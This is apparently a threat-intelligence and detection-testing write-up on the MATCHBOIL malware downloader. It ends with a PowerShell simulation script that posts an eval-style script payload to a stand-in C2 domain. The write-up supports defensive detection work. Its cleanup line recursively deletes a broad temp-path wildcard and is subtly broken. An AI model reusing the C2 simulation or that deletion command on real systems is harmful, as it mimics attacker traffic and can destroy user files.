MATCHBOIL Malware Campaign Introduces New Techniques for Persistent Attacks

Summary

UAC-0099, a Russia-aligned APT group, has significantly evolved its MATCHBOIL C# downloader between 2024 and 2026. The malware is used to download, deploy, and maintain persistence for secondary payloads such as the MATCHWOK backdoor. Newer variants incorporate stronger obfuscation with .NET Reactor, sandbox evasion techniques, and increasingly sophisticated C2 communication methods.

Investigation

ESET researchers conducted a chronological analysis of MATCHBOIL variants identified through telemetry and VirusTotal submissions. The investigation documented the malware’s progression from basic Unicode obfuscation to advanced code virtualization and GUI-based user deception. Researchers also decompiled C# components to examine WMI queries, HTTPS communication logic, and persistence techniques.

Mitigation

Organizations should monitor for suspicious C# execution and unexpected scheduled tasks or registry changes within user profile directories. Endpoint detection should identify unauthorized WMI queries and unusual outbound HTTPS traffic to previously uncharacterized domains. Security teams should also watch for known malicious filenames and suspicious command-line arguments such as -auto or -plans.

Response

When MATCHBOIL activity is detected, isolate affected hosts to prevent further payload delivery and C2 communication. Perform a comprehensive forensic investigation to determine the initial infection vector, which is likely spearphishing. Review registry Run keys and scheduled tasks for unauthorized entries and check compromised systems for secondary payloads such as MATCHWOK.

Simulation Execution

• Attack Narrative & Commands: The adversary seeks to establish a Command and Control (C2) channel to receive instructions and download additional modules. To evade simple IP-based blocking, the attacker utilizes a domain registered under a common TLD (.pro). The attacker simulates the “MATCHBOIL” technique by sending an HTTPS request where the payload contains an embedded <script> block, mimicking the delivery of malicious hex-encoded instructions disguised as web content. This is intended to trigger both the domain-based condition and the payload-based condition of the detection rule.

• Regression Test Script:

  # Simulation of MATCHBOIL C2 Communication
  # This script performs an HTTPS request to a .pro domain containing a script tag in the payload/body.
  
  $targetUrl = "https://test-matchboil-c2.pro/api/v1/update"
  $maliciousPayload = "<script>eval(hex_decode('414243'))</script>"
  
  try {
      Write-Host "[+] Attempting C2 communication to $targetUrl" -ForegroundColor Cyan
      Invoke-RestMethod -Uri $targetUrl -Method Post -Body $maliciousPayload -ContentType "application/octet-stream"
  }
  catch {
      Write-Host "[!] Request completed (Expected failure if domain is non-existent, but telemetry should still be captured)" -ForegroundColor Yellow
  }

• Cleanup Commands:

  # No persistent changes made by the script. 
  # Only ensure any local temp files created during testing are removed.
  Remove-Item -Path "$env:TEMP*" -Recurse -ErrorAction SilentlyContinue